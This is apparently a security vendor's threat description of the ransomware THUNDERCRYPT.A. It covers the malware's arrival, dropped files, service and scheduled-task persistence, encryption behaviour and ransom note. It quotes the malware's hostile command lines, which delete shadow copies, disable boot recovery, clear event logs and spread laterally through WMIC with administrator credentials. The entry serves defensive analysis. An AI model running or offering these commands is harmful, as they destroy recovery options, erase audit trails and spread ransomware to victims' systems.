Ransom.Win32.THUNDERCRYPT.A

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

However, as of this writing, the said sites are inaccessible.

It drops files as ransom note.

Arrival Details

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Ransomware drops the following copies of itself into the affected system:

• %User Temp%\MoUsoCoreWorker.exe
• %Windows%\dws.exe

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

It drops the following files:

• %Windows%\tWjdf.js → Contains script to use SpVoice Interface functionality.

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

It adds the following processes:

• %User Temp%\MoUsoCoreWorker.exe"
• Using "%System%\wbem\WMIC.exe" process call create {Command String}":
  • sc create "service_123" binpath= "cmd.exe /k %Windows%\dws.exe & {Long String of Characters}" displayname="A" start= auto
  • cmd.exe /c WMIC.exe shadowcopy delete /nointeractive & bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
  • cmd.exe /c wevtutil cl "security"&wevtutil cl "windows powershell"&wevtutil cl "security"&wevtutil cl "Application"&wevtutil cl HardwareEvents"&wevtutil cl "System"&wevtutil cl "Setup"&wevtutil cl "Setup"
  • cmd.exe/c schtasks /Create /F /Ru Users /SC DAILY /TN voise /TR "%Windows%\tWjdf.js"
  • cmd.exe /c schtasks /Run /TN voise
• %System%\cmd.exe /c wmic /node:'0.0.0.0' /USER:'{Domain}.net\Administrator' /PASSWORD:'{Password}' process call create "cmd.exe /c schtasks /Create /F /RU System /SC ONLOGON /TN sz40 /TR '\{Domain}.net\NETLOGON\sinhost.exe' & SCHTASKS /run /TN sz40&SCHTASKS /Delete /TN sz40 /F"

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

It adds the following mutexes to ensure that only one of its copies runs at any one time:

• {Organization Name}

Autostart Technique

This Ransomware registers as a system service to ensure its automatic execution at every system startup by adding the following registry keys:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\service_123

Information Theft

This Ransomware gathers the following data:

• Computer Name

Other Details

This Ransomware does the following:

• It only proceeds to its encryption routine if its filename is MoUsoCoreWorker.exe.
• It encrypts FIXED, REMOVABLE, and NETWORK Drives.
• It appends the extension .sz40 to the file that it is currently encrypting and will rename the file back to its original filename without the appended extension after the encrytion has finished.
• It uses SpVoice Interface functionality to play the following message:
  • You've been hacked! Your files are stolen and encrypted. Follow our instructions!
• It creates a one time remote scheduled task to execute its copy.
• It sends the information it gathers to the following URL:
  • {BLOCKED}.{BLOCKED}.251.27:55

However, as of this writing, the said sites are inaccessible.

It adds the following scheduled tasks:

• Task Name: voise
  Trigger: Daily
  Task Action: %Windows%\tWjdf.js
• Task Name: sz40
  Trigger: ONLOGON
  Task Action: \{Domain}.net\NETLOGON\sinhost.exe

(Note: %Windows% is the Windows folder, where it usually is C:\Windows on all Windows operating system versions.)

Ransomware Routine

This Ransomware avoids encrypting files found in the following folders:

• $Recycle.Bin
• All Users
• Local
• Microsoft
• Packages
• Program Files
• Program Files (x86)
• ProgramData
• Temp
• WINDOWS
• Windows

It drops the following file(s) as ransom note:

• %Desktop%\HELP_SECURITY_EVENT.html
  %Desktop%\{Encrypted Directory}\HELP_SECURITY_EVENT.html